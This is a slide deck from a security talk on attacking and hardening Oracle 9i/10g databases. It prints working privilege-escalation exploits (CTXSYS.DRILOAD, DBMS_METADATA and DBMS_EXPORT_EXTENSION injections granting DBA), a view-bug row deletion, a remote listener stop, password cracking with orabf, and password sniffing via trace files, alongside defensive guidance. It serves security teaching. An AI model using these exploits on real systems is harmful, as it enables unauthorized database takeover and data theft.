



Hacking and Securing Oracle

A Guide To Oracle Security

Pete Finnigan, Principal Consultant

SIEMENS

Insight Consulting

Introduction

- My name is Pete Finnigan
 - I specialise in researching, auditing and securing Oracle databases
- I am going to keep it reasonably simple and not too technical
- Lots of examples and demonstrations
 - Try the hands-on examples on your own laptop?
- What do I want you to learn?
 - Think like a hacker
 - Know why and how data is vulnerable

Agenda

- The problems / issues – why Oracle can be insecure
- Where to find information
- Demonstrations of how to exploit Oracle
 - 9i and 10gR2 – demonstration exploits
- Finding and auditing for security problems
- Some basic ideas to secure your Oracle database

The problems

- Do you need to be a DBA or have DBA-like privileges to
 - Gain extra privileges?
 - To perform application operations that you should not?
 - To steal data?
 - Extra privileges does not always mean system privileges
 - Application operations do not need DBA privileges
 - Stealing data or any type of hacking could be done as Mrs Smith
Not Mr DBA
 - There are also myriads of single privileges that can lead to problems
 - The key is to remember that, in some circumstances, any privilege gained by a hacker or used by a hacker could be an issue

What are the hackers trying to do?

- To cause damage, steal or gain access to host systems
 - You do not need to be a DBA to do these things
 - Many other privileges offer security risks
- Incorrect configuration can allow privilege escalation
- Incorrect configuration can allow access to data that should not be read
- Incorrect configuration can allow damage or loss of business
- Oracle is feature-rich – do not get hung up on features
 - Features can cause security risks – even when not used
 - Deal with the basics – reduce the *attack surface*

To protect Oracle think like a hacker

- One of the key ways to secure an Oracle database is to **“think like a hacker”**
- How do you **“think like a hacker”** ?
- Learn how to exploit Oracle and the platform
- Learn to look for security issues in Oracle
 - Configurations
 - Permissions
 - Bugs
- All by thinking how a hacker would do it

Recent press and research

- Lots of recent press article
 - The January 2006 CPU had issues
 - The CPU has been re-released for Linux
 - Oracle listened when levels of detail criticised by customers
 - October 2006 CPU – has large number of remote exploits, Jan 2007 and April 2007 have smaller numbers, April 2007, DB01 not released for Windows
 - Two recent versions of an Oracle worm
 - The threat of a much better rootkit – BH 2006 Las Vegas
 - Oracle suggested immediate patching because of DB18
 - Anyone can become DBA
 - Demonstration
 - Similar issues with Oct 2006 CPU – because of APEX
- Researchers are looking at SQL Injection techniques, TNS, unwrapping, forensics and much more...

Check who is a DBA

```
SQL> @d:\who_has_role.sql
ROLE TO CHECK                                [DBA]: DBA
OUTPUT METHOD Screen/File                     [S]: S
FILE NAME FOR OUTPUT                         [priv.lst]:
OUTPUT DIRECTORY [DIRECTORY or file (/tmp)]:
EXCLUDE CERTAIN USERS                        [N]: N
USER TO SKIP                                 [TEST%]:
```

Investigating Role => DBA (PWD = NO) which is granted to =>

```
=====
User => SYS (ADM = YES)
User => SCOTT (ADM = NO)
User => WKSYS (ADM = NO)
User => CTXSYS (ADM = NO)
User => SYSTEM (ADM = YES)
```

PL/SQL procedure successfully completed.

▪ http://www.petefinnigan.com/who_has_role.sql

Why do we need Oracle Security?

- Computer Emergency Response Team (CERT) say 95% of all intrusions are made using known vulnerabilities
- Deloitte 2005 Global Security Survey said Internal attacks exceed external attacks
- Nicolas Jacobsen had access to 16.3 million T-Mobile customers' details
- In April 2005 310,000 U.S. residents' records may have been breached at LexisNexis
- Also in April 2005 HSBC warned 180,000 customers that credit card information may have been stolen

Where can you find out about Oracle Security

- Available Oracle Security information is quite good nowadays
- Web Sites for information
 - www.petefinnigan.com, www.cqure.net, www.appsecinc.com
 - www.argeniss.com, www.red-database-security.com,
www.ngssoftware.com, www.databasesecurity.com
- Books
 - SANS Oracle Security step-by-step – Pete Finnigan – ISBN 0974372749
 - Effective Oracle database 10g security by design – David Knox - ISBN 0072231300
 - Oracle Privacy Security auditing – Arup Nanda – ISBN 0-9727513-9-4
 - Implementing Database Security and auditing – Ron Ben Natan – ISBN 1-55558-334-2
 - Oracle Hackers Handbook – David Litchfield - ISBN-10: 0470080221

Auditing Oracle for security issues - tools

- Default passwords - http://www.petefinnigan.com/default/default_password_checker.htm
- Password cracker (orabf) – <http://www.toolcrypt.org>
- Privilege audit scripts (find_all_privs.sql) – <http://www.petefinnigan.com>
- CIS Oracle benchmark - http://www.cisecurity.org/bench_oracle.html
- Patrik Karlsson (OAT, OScanner) – <http://www.cqure.net>
- Listener audit tool – <http://www.integrigy.com/downloads/lsnrcheck.exe>
- Many more free and commercial tools
 - nessus, metacortex, Repscan, AppDetective, NGS Squirrel
 - See <http://www.petefinnigan.com/tools.htm> for details and links
- Backtrack CD - <http://www.remote-exploit.org/index.php/BackTrack>
- OAK - <http://www.databasesecurity.com/dbsec/OAK.zip>

What are the main security problem areas (1)

- People having unauthorised access – not just hackers
 - Too many privileges (CONNECT, RESOURCE...)
- Internal attacks
 - Fed up employees
 - Employees trying to get the job done (sup, dev, dba?)
 - Malicious employees / industrial spies / identity theft
- External attacks
 - Use the database for application privilege escalation
 - Server breach can be the target via multiple Oracle issues or again data could be the target
- Web or network access is a modern issue for databases

What are the main security problem areas (2)

- Bugs – security bugs!
 - Lots of researchers
 - Some bugs are 0-day (Litchfield (mod_plsql) and Metalink (View bug), Cerrudo (Black Hat))
- Configuration issues
 - There are lots and it gets worse with each release
 - Lots of new features – new holes – less information to secure
- Privilege management
 - PUBLIC, many default roles
- Default users and passwords – many more each release
- Password management is off by default

What are the main security problem areas? (3)

- Internet access
 - Many open ports by default
 - This potentially makes Oracle open to Slammer type attacks – the recent worm
 - Is an internet based attack likely?
 - Yes its likely as the attack surface gets bigger (Oracle XE?)
 - The effect would not be like Slammer – less Oracle exposed
- File system access plus OS functions
 - Too many methods to access the file system
 - UTL_FILE, DBMS_BACKUP_RESTORE, EMD_SYSTEM, DBMS_LOB, DBMS_NAMESPACE, DBMS_SCHEDULER, Java (over 40) ... more
 - Query for package / functions / procedures having FILE in them

The default password problem

- Oracle has a major problem with default passwords
- More default users and passwords are known for Oracle than any other software
- http://www.petefinnigan.com/default/default_password_list.htm - lists 600 default accounts – will be >1400 + tool BUT use orabf
- Each version of Oracle creates more default accounts
- They can be found in the
 - Software distribution, created by default, features, examples...
 - Some created in the database – less open accounts
 - Documentation / metalink / oracle.com
- Oracle has released a tool - see **MetaLink Note 361482.1**

Password cracking

- What is a password cracker
 - Brute force and dictionary attacks
- Until recently the Oracle password algorithm was not public
- Before this we had to use PL/SQL based crackers
- C based crackers are now available – free and commercial
- *Orabf* from <http://www.toolcrypt.org/index.html?orabf> is fast
 - 1,100,000 hashes per second on 2.8ghz Pentium 4
 - Now version 0.7.5
- Minimum password lengths are now even more important
- Do not let password hashes fall into hacker hands

An example cracking session

```
SQL> alter user scott identified by gf4h7;
```

```
User altered.
```

```
SQL> select password from dba_users where username='SCOTT';
```

```
PASSWORD
```

```
-----  
EF2D6ED2EDC1036B
```

```
D:\orabf>orabf EF2D6ED2EDC1036B:SCOTT -c 3 -m 5
```

```
orabf v0.7.2, (C)2005 orm@toolcrypt.org
```

```
-----  
Trying default passwords
```

```
Starting brute force session
```

```
press 'q' to quit. any other key to see status
```

```
password found:SCOTT:GF4H7
```

```
29307105 passwords tried. elapsed time 00:00:40. t/s:715700
```

Demo

What is SQL Injection?

- What is SQL Injection?
- Big issue because of remote exploits
- Many forms –
 - Extra queries, unions, order by, sub-selects, functions
- Secure your PL/SQL code:
 - Don't use concatenated dynamic SQL or PL/SQL
 - Use bind variables
 - Filter input that is passed to dynamic SQL or PL/SQL
- Many other types of injection exist: e.g. Javascript, php, html...

A built-in package exploit

```
SQL> select * from user_role_privs;
```

USERNAME	GRANTED_ROLE	ADM	DEF	OS_
SCOTT	CONNECT	NO	YES	NO
SCOTT	RESOURCE	NO	YES	NO

```
SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');  
BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;  
*
```

ERROR at line 1:

```
ORA-06510: PL/SQL: unhandled user-defined exception  
ORA-06512: at "CTXSYS.DRILOAD", line 42  
ORA-01003: no statement parsed  
ORA-06512: at line 1
```

Demo

```
SQL> select * from user_role_privs;
```

USERNAME	GRANTED_ROLE	ADM	DEF	OS_
SCOTT	CONNECT	NO	YES	NO
SCOTT	DBA	NO	YES	NO
SCOTT	RESOURCE	NO	YES	NO

Exploiting DBMS_METADATA (1)

```
SQL> connect scott/tiger
```

```
Connected.
```

```
SQL> select * from user_role_privs;
```

USERNAME	GRANTED_ROLE	ADM	DEF	OS_
SCOTT	CONNECT	NO	YES	NO
SCOTT	RESOURCE	NO	YES	NO

```
SQL> create or replace function scott.hack return varchar2
```

```
2  authid current_user is
```

```
3  pragma autonomous_transaction;
```

```
4  begin
```

```
5  execute immediate 'grant dba to scott';
```

```
6  return '';
```

```
7  end;
```

```
8  /
```

```
Function created.
```

Demo

Exploiting DBMS_METADATA (2)

```
SQL> select sys.dbms_metadata.get_ddl(''||scott.hack()||','')
      from dual;
```

ERROR:

```
ORA-31600: invalid input value '||scott.hack()||' for parameter
      OBJECT_TYPE in function GET_DDL
```

```
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
```

```
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
```

```
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
```

```
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
```

```
ORA-06512: at "SYS.DBMS_METADATA", line 504
```

```
ORA-06512: at "SYS.DBMS_METADATA", line 560
```

```
ORA-06512: at "SYS.DBMS_METADATA", line 1221
```

```
ORA-06512: at line 1
```

no rows selected

```
SQL> select * from user_role_privs;
```

USERNAME	GRANTED_ROLE	ADM	DEF	OS_
SCOTT	CONNECT	NO	YES	NO
SCOTT	DBA	NO	YES	NO
SCOTT	RESOURCE	NO	YES	NO

Demo

10g Example exploits

- 10g is much more secure than 9i – The main code line is always fixed first, but
- Still need to be patched
- Still package exploits
- CPU October 2006 had record number of remote APEX bugs – beware!
- New fixing strategy – DBMS_ASSERT and binds for PL/SQL bugs
- Some examples
 - DBMS_EXPORT_EXTENSION
 - The infamous 0-Day view bug

Export extension bug – create the hack

```
CREATE OR REPLACE PACKAGE HACK AUTHID CURRENT_USER IS
  FUNCTION ODCIIndexGetMetadata (oindexinfo
    SYS.odciindexinfo,p3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
    RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY HACK IS
  FUNCTION ODCIIndexGetMetadata(oindexinfo
    SYS.odciindexinfo,p3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
    RETURN NUMBER
  IS
    pragma autonomous_transaction;
  BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO PXF'; RETURN(1);
  END; END;
/
```

Demo

Export extension – run the hack

```
DECLARE
  buf PLS_INTEGER;
  v_Return VARCHAR2(200);
BEGIN
  v_Return :=
  SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA
    (INDEX_NAME => 'A1',
     INDEX_SCHEMA => 'PXF',
     TYPE_NAME => 'HACK',
     TYPE_SCHEMA => 'PXF',
     VERSION => '10.2.0.2.0',
     NEWBLOCK => buf,
     GMFLAGS => 1);
END;
/
```

Demo

DBMS_EXPORT_EXTENSION - output

```
SQL> @exp
Connected.
Grant succeeded.
Connected.
Package created.
Package body created.
PL/SQL procedure successfully completed.
```

- Create user PXF
- grant create session and create procedure
- Run the hack, become a DBA

USERNAME	GRANTED_ROLE	ADM	DEF	OS_
-----	-----	---	---	--
PXF	DBA	NO	YES	NO

```
SQL>
```

0-Day view bug

- The 0-day view bug was published on Metalink by Oracle
- Doc ID Note: 363848.1 – taken down quickly
- The exploit code appeared on a number of sites
- The bug allows a user with select privileges on a base table to delete rows from a view
- Fixed in July 2006 CPU
- Some further variations have been found – at least 5
- Let's demonstrate the original bug

0-Day view bug

```
SQL> grant create session, create view to pxf
      identified by pxf;
SQL> grant select on scott.emp to pxf;
SQL> connect pxf/pxf@ora
SQL> create view em_em as
      2 select e1.ename,e1.empno,e1.deptno
      3 from scott.emp e1, scott.emp e2
      4 where e1.empno=e2.empno;
SQL> /
View created.
SQL> delete from em_em;
14 rows deleted.
SQL>
```

Demo

Exploiting the listener

- The listener is the outer perimeter wall for Oracle
 - It attracts attention of hackers
- The listener can be password protected – amazingly!
 - Protect the listener.ora – some versions hash knowledge has value!
- Stop dynamic configuration of the listener
- The 10g listener is better
 - Current issues with local authentication – UTL_TCP
- Ensure trace is off and the directory is valid
- Use listener logging - ensure file and directory are valid
- Remove ExtProc functionality if not needed

Issues with the listener

- There are no password management features
 - Lock out is not available
 - Failed logins are not available
 - Password aging and management are not available
- Tools to audit the listener
 - Tnscmd – (<http://www.jammed.com/~jwa/hacks/security/tnscmd/>)
 - DokFleed (<http://www.dokfleed.net/duh/modules.php?name=News&file=article&sid=35>)
 - Integrigy (<http://www.integrigy.com/downloads/lsnrcheck.exe>)
- The TNS / O3Logon protocols have changed in 9i,10g
- Is the protocol available?
 - Yes, some of it if you know where to look on the Internet, elephant protocol, forensics site, C code on databasesecurity.com

An example listener exploit

```
LSNRCTL> stop 192.168.254.201
```

```
Connecting to
```

```
(DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.254.201))
```

```
ADDRESS=(PROTOCOL=TCP)(HOST=192.168.254.201)(PORT=1521))
```

```
The command completed successfully
```

```
C:\Documents and Settings\Compaq_Owner>lsnrctl status
```

```
LSNRCTL for 32-bit Windows: Version 9.2.0.1.0 - Production on 19-SEP-2005 14:14:32
```

```
Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.
```

```
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))
```

```
TNS-12541: TNS:no listener
```

```
TNS-12560: TNS:protocol adapter error
```

```
TNS-00511: No listener
```

Sniffing an ALTER USER

```
TRACE_FILE_SERVER=oug.trc  
TRACE_DIRECTORY_SERVER=d:\temp  
TRACE_LEVEL_SERVER=SUPPORT
```

➡ Add to the sqlnet.ora file

```
SQL> alter user scott identified by secretpassword;
```

User altered.

🔍 In the trace file you will find the password

```
[19-SEP-2005 14:29:52:814] nsprecv: 00 00 00 00 00 2D 61 6C | .....-al |  
[19-SEP-2005 14:29:52:814] nsprecv: 74 65 72 20 75 73 65 72 | ter.user |  
[19-SEP-2005 14:29:52:814] nsprecv: 20 73 63 6F 74 74 20 69 | .scott.i |  
[19-SEP-2005 14:29:52:814] nsprecv: 64 65 6E 74 69 66 69 65 | dentifie |  
[19-SEP-2005 14:29:52:814] nsprecv: 64 20 62 79 20 73 65 63 | d.by.sec |  
[19-SEP-2005 14:29:52:814] nsprecv: 72 65 74 70 61 73 73 77 | retpassw |  
[19-SEP-2005 14:29:52:814] nsprecv: 6F 72 64 01 00 00 00 01 | ord..... |
```

PL/SQL Unwrapping

- PL/SQL can be unwrapped
- Un-wrappers are available on the black market / black hat
- How do they work?
 - 9i and lower is based on DIANA
 - 10g is a new algorithm mechanism provided
 - The contents of symbol table are no longer visible
 - The encryption involves base64 – forum post
 - 10gR2 provides the ability to wrap from within the database using DBMS_DDL

IDL – Interface description language

- DIANA is written down as IDL
- What is IDL? – Interface description language – Also derived from ADA
- IDL is stored in the database in 4 dictionary tables
 - IDL_CHAR\$, IDL_SB4\$, IDL_UB1\$ and IDL_UB2\$
- Wrapped PL/SQL is simply DIANA written down as IDL
- Oracle say that wrapped PL/SQL is simply encoded
- Therefore the *wrap* program is the front end of a PL/SQL compiler.
- Is wrapped PL/SQL – DIANA – reversible?

A Sample PL/SQL procedure – 9i

```
SQL> connect sys/change_on_install as sysdba
```

Connected.

```
SQL> create or replace procedure AA as
```

```
2 begin
```

```
3     null;
```

```
4 end;
```

```
5 /
```

Procedure created.

```
SQL>
```

Connect in SQL*Plus and create a simple PL/SQL procedure

Demo

A proof of concept un-wrapper

```
SQL> set serveroutput on size 1000000
```

```
SQL> exec unwrap_r('AA');
```

```
Start up
```

```
CREATE OR REPLACE
```

```
PROCEDURE AA
```

```
IS
```

```
BEGIN
```

```
NULL;
```

```
END;
```

```
\
```

```
PL/SQL procedure successful
```

```
SQL>
```

Demo

- `unwrap_r.sql` – also available from http://www.petefinnigan.com/unwrap_r.sql
- Implements the code generation to create PL/SQL from DIANA for a simple procedure
- Uses a simple recursive descent parser

How do you protect Oracle?

- Keep it simple to start with – Rome was not built in a day
- Apply patch sets, upgrades and critical security patches
 - Some recent patch issues – still apply the patch
- Deal with the common configuration issues (remote_os_authent,O7_dictionary...)
- Deal with common default privilege issues (connect, resource...)
- Check for default passwords still in use - REGULARLY
- Check for weak user passwords – use a cracker
 - Use password management features
- Secure the listener – passwords, protect configuration

How do you protect Oracle? Cont'd

- Lock down paths to the data
 - Valid node checking
 - Firewalls
- Lock down key packages
 - File access, net access, OS access, encryption
- Enable simple audit and logging
 - Connections, use of key privileges
- Lock down the listener
 - No password management
 - No failed login attempts
 - No default logging
 - Set a password – 10g has local authentication
 - Prevent dynamic administration
 - Turn on logging

How do you protect Oracle? Cont'd

- Close down all of the ports Oracle has opened
 - The flying piglet, iSQL*Plus, em, OEM...
- Remove features and functions that you do not use –
 - Use the OUI and removal scripts where provided
- Encrypt network connections
 - Client to database / application server / webserver
 - Application server – database
- Encrypt critical data in the database
- Code against SQL injection – binds, dynamic SQL, ownership,
- Use **The least privilege principle**

How do you protect Oracle? Cont'd

- Apache is often installed and enabled by default
 - Disable Apache
 - Remove the software installation
 - Beware Oracle versions lag
- If Apache is needed then it must be hardened
- Remove XDB
 - Many issues, SQL Injection, buffer overflows
 - Edit the init.ora or spfile
- Look at documents such as project lockdown and Note ID 189367.1

Use Oracles Audit features

- Face it, someone will break in or cause damage
- Enable audit for all database logins
 - Set up reporting to monitor access
 - And failed login attempts
- Enable audit for use of system privileges
- Enable audit for any structural changes
- Use application level audit
 - E-Business suite features
 - Application logins
 - Trigger based data change log

Summary / Conclusions

- Security is just common sense
- Oracle is big and complex – too much to look at?
- Understand how a hacker thinks – this is important
- Install what is needed not what can be installed
- Audit users passwords and use password management
- Audit for configuration issues / privileges regularly
- Expose only the privileges that are needed
- Remember hackers do not just want to get DBA privileges
- Use Oracle auditing

Questions and Answers

- Any Questions, please ask
- Later?
 - Contact me via email peter.finnigan@siemens.com
 - Or via my website <http://www.petefinnigan.com>



www.siemens.co.uk/insight

+44 (0)1932 241000

Insight Consulting

Siemens Enterprise Communications Limited

**Security, Compliance, Continuity
and Identity Management**

SIEMENS



Choose with confidence
use with ease



INVESTOR IN PEOPLE



013